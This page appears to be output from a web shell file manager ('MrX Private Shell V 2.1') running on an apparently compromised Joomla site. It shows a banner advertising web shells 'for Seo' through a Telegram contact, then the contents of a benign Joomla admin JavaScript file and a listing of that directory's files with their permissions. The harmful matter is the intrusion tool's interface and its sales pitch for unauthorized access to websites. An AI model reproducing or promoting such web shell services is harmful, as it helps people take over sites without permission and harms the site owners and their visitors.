__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
/**
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/const debounce=(i,r=250,t)=>(...d)=>clearTimeout(t,t=setTimeout(i,r,...d));((i,r,t)=>{t.unpublishModule=e=>{const o="index.php?option=com_modules&task=modules.unpublish&format=json",n=e.getAttribute("data-module-id");t.request({url:`${o}&cid=${n}`,method:"POST",headers:{"Content-Type":"application/json"},onSuccess:()=>{const s=e.closest(".module-wrapper");s.parentNode.removeChild(s),t.renderMessages({message:[t.Text._("COM_CPANEL_UNPUBLISH_MODULE_SUCCESS")]})},onError:()=>{t.renderMessages({error:[t.Text._("COM_CPANEL_UNPUBLISH_MODULE_ERROR")]})}})};const d=()=>{const e=r.getElementById("content");e&&[].slice.call(e.querySelectorAll(".unpublish-module")).forEach(n=>{n.addEventListener("click",({target:s})=>t.unpublishModule(s))}),r.removeEventListener("DOMContentLoaded",d)};r.addEventListener("DOMContentLoaded",d),{$gridBox:null,gridAutoRows:0,gridRowGap:10,resizeGridItem(e,o,n){const s=e.querySelector(".card");if(s){const l=s.getBoundingClientRect().height+n,a=Math.ceil(l/(o+n));e.style.gridRowEnd=`span ${a}`}},resizeAllGridItems(){[].slice.call(this.$gridBox.children).forEach(o=>{this.resizeGridItem(o,this.gridAutoRows,this.gridRowGap)})},initialise(){this.$gridBox=r.querySelector("#cpanel-modules .card-columns");const e=i.getComputedStyle(this.$gridBox);this.gridAutoRows=parseInt(e.getPropertyValue("grid-auto-rows"),10)||this.gridAutoRows,this.gridRowGap=parseInt(e.getPropertyValue("grid-row-gap"),10)||this.gridRowGap,this.resizeAllGridItems(),i.addEventListener("load",()=>this.resizeAllGridItems()),i.addEventListener("joomla:menu-toggle",()=>{setTimeout(()=>this.resizeAllGridItems(),330)}),i.addEventListener("resize",debounce(()=>this.resizeAllGridItems(),50))}}.initialise()})(window,document,window.Joomla);
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| admin-add_module-es5.js | File | 2.52 KB | 0664 |
|
| admin-add_module-es5.min.js | File | 1.17 KB | 0664 |
|
| admin-add_module-es5.min.js.gz | File | 583 B | 0664 |
|
| admin-add_module.js | File | 2.29 KB | 0664 |
|
| admin-add_module.min.js | File | 1.07 KB | 0664 |
|
| admin-add_module.min.js.gz | File | 565 B | 0664 |
|
| admin-cpanel-default-es5.js | File | 4.58 KB | 0664 |
|
| admin-cpanel-default-es5.min.js | File | 2.15 KB | 0664 |
|
| admin-cpanel-default-es5.min.js.gz | File | 1.06 KB | 0664 |
|
| admin-cpanel-default.js | File | 3.76 KB | 0664 |
|
| admin-cpanel-default.min.js | File | 1.86 KB | 0664 |
|
| admin-cpanel-default.min.js.gz | File | 979 B | 0664 |
|
| admin-system-loader-es5.js | File | 2.44 KB | 0664 |
|
| admin-system-loader-es5.min.js | File | 1.29 KB | 0664 |
|
| admin-system-loader-es5.min.js.gz | File | 653 B | 0664 |
|
| admin-system-loader.js | File | 2.25 KB | 0664 |
|
| admin-system-loader.min.js | File | 1.23 KB | 0664 |
|
| admin-system-loader.min.js.gz | File | 635 B | 0664 |
|